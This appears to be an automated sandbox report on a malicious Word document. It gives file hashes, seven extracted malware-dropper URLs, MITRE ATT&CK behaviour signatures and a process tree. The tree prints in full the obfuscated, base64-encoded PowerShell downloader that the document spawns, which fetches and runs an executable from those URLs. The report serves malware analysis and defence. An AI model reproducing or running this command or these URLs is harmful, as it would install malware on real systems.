b9867ead986e6afb8337409a0b509cac26e3d383deb83f38f1cfcde8eaf3ab01

General

Target

cnewqstk.doc
Size

183KB
MD5

13fca40dc4820dc73c751e70130201f7
SHA1

3edaa4017e9f54561bafb3b2e5406e666e271146
SHA256

b9867ead986e6afb8337409a0b509cac26e3d383deb83f38f1cfcde8eaf3ab01
SHA512

fc9ca9a0b1b6ca19f41ae506e85f17b0e05e5dd6b80641e130274e219b02a91aeac7f718db1f4804c81c17e830e1ca67a2f59384d8df5e412ad76c3592c4b23b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://aci.serabd.com/gt7pie/WMq/

exe.dropper

http://acainacumbuca.com.br/protected-disk/x/

exe.dropper

http://airmaxx.rs/available-zone/UFxfTGg/

exe.dropper

http://labersa.com/preview/atbFjM/

exe.dropper

http://agenciaetalk.com/common-zone/uF5x3RF/

exe.dropper

http://brizboy.com/site/WrrdOMS/

exe.dropper

http://clutchinc.net/image/1/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3416	1684	powersheLL.exe

Blocklisted process makes network request 6 IoCs

Processes:

powersheLL.exe

flow pid process

35 3416 powersheLL.exe
37 3416 powersheLL.exe
40 3416 powersheLL.exe
42 3416 powersheLL.exe
44 3416 powersheLL.exe
46 3416 powersheLL.exe

flow	pid	process
35	3416	powersheLL.exe
37	3416	powersheLL.exe
40	3416	powersheLL.exe
42	3416	powersheLL.exe
44	3416	powersheLL.exe
46	3416	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

5100 WINWORD.EXE
5100 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powersheLL.exe

pid process

3416 powersheLL.exe
3416 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3416 powersheLL.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

5100 WINWORD.EXE
5100 WINWORD.EXE
5100 WINWORD.EXE
5100 WINWORD.EXE
5100 WINWORD.EXE
5100 WINWORD.EXE
5100 WINWORD.EXE
5100 WINWORD.EXE

pid	process
5100	WINWORD.EXE
5100	WINWORD.EXE

pid	process
3416	powersheLL.exe
3416	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	3416	powersheLL.exe

pid	process
5100	WINWORD.EXE
5100	WINWORD.EXE
5100	WINWORD.EXE
5100	WINWORD.EXE
5100	WINWORD.EXE
5100	WINWORD.EXE
5100	WINWORD.EXE
5100	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cnewqstk.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:5100

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPAHgAMgA4AHcAagA2AD0AKAAnAFoAJwArACcAaAA2AG8AJwArACcAYQB4AHMAJwApADsAJgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAHYAOgB0AGUATQBQAFwATwBmAEYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAGAAVQBSAEkAYABUAHkAUABgAFIATwBUAGAATwBjAGAATwBsACIAIAA9ACAAKAAnAHQAbABzADEAMgAsACAAJwArACcAdAAnACsAJwBsACcAKwAnAHMAMQAxACcAKwAnACwAIAB0ACcAKwAnAGwAcwAnACkAOwAkAEUAagB1AGMAYQBfAF8AIAA9ACAAKAAnAFMAZgA3ACcAKwAnAF8AJwArACcAeQBkAGsAdQAnACkAOwAkAEUAXwBjAHoAbABlAHcAPQAoACcAUwBfAGEAJwArACcAbQBlAHEAZwAnACkAOwAkAEsAMgBvAHUAOQBjAHgAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGEAYgB5ACcAKwAnAE8AJwArACcAZgBmAGkAJwArACcAYwBlACcAKwAnADIAMAAxACcAKwAnADkAYQBiAHkAJwApACAALQBjAFIARQBQAGwAYQBDAEUAIAAnAGEAYgB5ACcALABbAEMASABhAHIAXQA5ADIAKQArACQARQBqAHUAYwBhAF8AXwArACgAJwAuACcAKwAnAGUAeABlACcAKQA7ACQARQB2ADEAaQBpADQAdAA9ACgAJwBBAG4AJwArACcANwAnACsAJwBlAF8AcgBxACcAKQA7ACQAUAAyAGgAbAAyAGMAeAA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUQBnAF8AZgBsAGoAbwA9ACgAJwBoAHQAdABwADoALwAvACcAKwAnAGEAYwBpAC4AcwAnACsAJwBlAHIAYQBiACcAKwAnAGQALgBjAG8AbQAvAGcAdAAnACsAJwA3AHAAaQBlAC8AJwArACcAVwBNAHEAJwArACcALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAYQBjAGEAaQBuAGEAYwAnACsAJwB1AG0AYgB1AGMAYQAuAGMAbwBtAC4AYgByAC8AcAAnACsAJwByACcAKwAnAG8AdABlAGMAdAAnACsAJwBlACcAKwAnAGQALQBkAGkAJwArACcAcwBrAC8AeAAnACsAJwAvACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwBhAGkAcgBtAGEAeAAnACsAJwB4ACcAKwAnAC4AJwArACcAcgAnACsAJwBzAC8AYQB2AGEAaQBsACcAKwAnAGEAJwArACcAYgBsAGUALQB6AG8AbgBlAC8AJwArACcAVQBGAHgAJwArACcAZgAnACsAJwBUAEcAZwAnACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwA6AC8AJwArACcALwBsACcAKwAnAGEAYgBlAHIAcwAnACsAJwBhAC4AYwBvAG0ALwAnACsAJwBwAHIAZQAnACsAJwB2AGkAJwArACcAZQAnACsAJwB3AC8AYQB0ACcAKwAnAGIARgBqAE0AJwArACcALwAqACcAKwAnAGgAdAB0ACcAKwAnAHAAOgAvAC8AYQBnAGUAbgBjACcAKwAnAGkAYQBlAHQAYQAnACsAJwBsACcAKwAnAGsAJwArACcALgAnACsAJwBjACcAKwAnAG8AbQAvAGMAbwBtAG0AbwBuAC0AegBvAG4AZQAvAHUARgA1AHgAMwBSAEYALwAqAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwArACcAYgAnACsAJwByAGkAegBiAG8AeQAuAGMAJwArACcAbwBtACcAKwAnAC8AcwAnACsAJwBpAHQAJwArACcAZQAvAFcAcgByAGQATwBNAFMALwAqAGgAJwArACcAdAB0AHAAOgAvAC8AYwBsAHUAdABjACcAKwAnAGgAaQBuAGMALgBuAGUAJwArACcAdAAvAGkAbQAnACsAJwBhAGcAZQAvADEALwAnACkALgAiAFMAUABgAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQBuAHAAagAzAHUAeQA9ACgAJwBHACcAKwAnAHkAbAB4AHIAZwB1ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFAAMQA2AHQAeQBjAGIAIABpAG4AIAAkAFEAZwBfAGYAbABqAG8AKQB7AHQAcgB5AHsAJABQADIAaABsADIAYwB4AC4AIgBkAGAATwBXAGAATgBsAE8AYABBAGQAZgBJAEwARQAiACgAJABQADEANgB0AHkAYwBiACwAIAAkAEsAMgBvAHUAOQBjAHgAKQA7ACQAUwBkAHMAdAB1AG0AbQA9ACgAJwBNAGwAegAnACsAJwAwAGoAcwAyACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABLADIAbwB1ADkAYwB4ACkALgAiAGwARQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA0ADYANwA1ACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEsAMgBvAHUAOQBjAHgAKQA7ACQAUgBmADMAYgA5AGYAdwA9ACgAJwBRAF8AdQAnACsAJwBzADgAagAnACsAJwA1ACcAKQA7AGIAcgBlAGEAawA7ACQARQBwADgAMAA5ADQANgA9ACgAJwBCADQAcQAnACsAJwA2ADEANAAyACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBlADUAYQA0AHkAMwA9ACgAJwBYACcAKwAnAHcAOABtADMAJwArACcANgB1ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3416

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3416-141-0x00000220F5B80000-0x00000220F5BA2000-memory.dmp

Filesize
136KB

Download
memory/3416-142-0x00007FFA4B270000-0x00007FFA4BD31000-memory.dmp

Filesize
10.8MB

Download
memory/5100-136-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download
memory/5100-133-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download
memory/5100-137-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download
memory/5100-138-0x00007FFA35520000-0x00007FFA35530000-memory.dmp

Filesize
64KB

Download
memory/5100-139-0x00007FFA35520000-0x00007FFA35530000-memory.dmp

Filesize
64KB

Download
memory/5100-140-0x00000295DB880000-0x00000295DB884000-memory.dmp

Filesize
16KB

Download
memory/5100-135-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download
memory/5100-134-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download
memory/5100-144-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download
memory/5100-145-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download
memory/5100-146-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download
memory/5100-147-0x00007FFA37810000-0x00007FFA37820000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads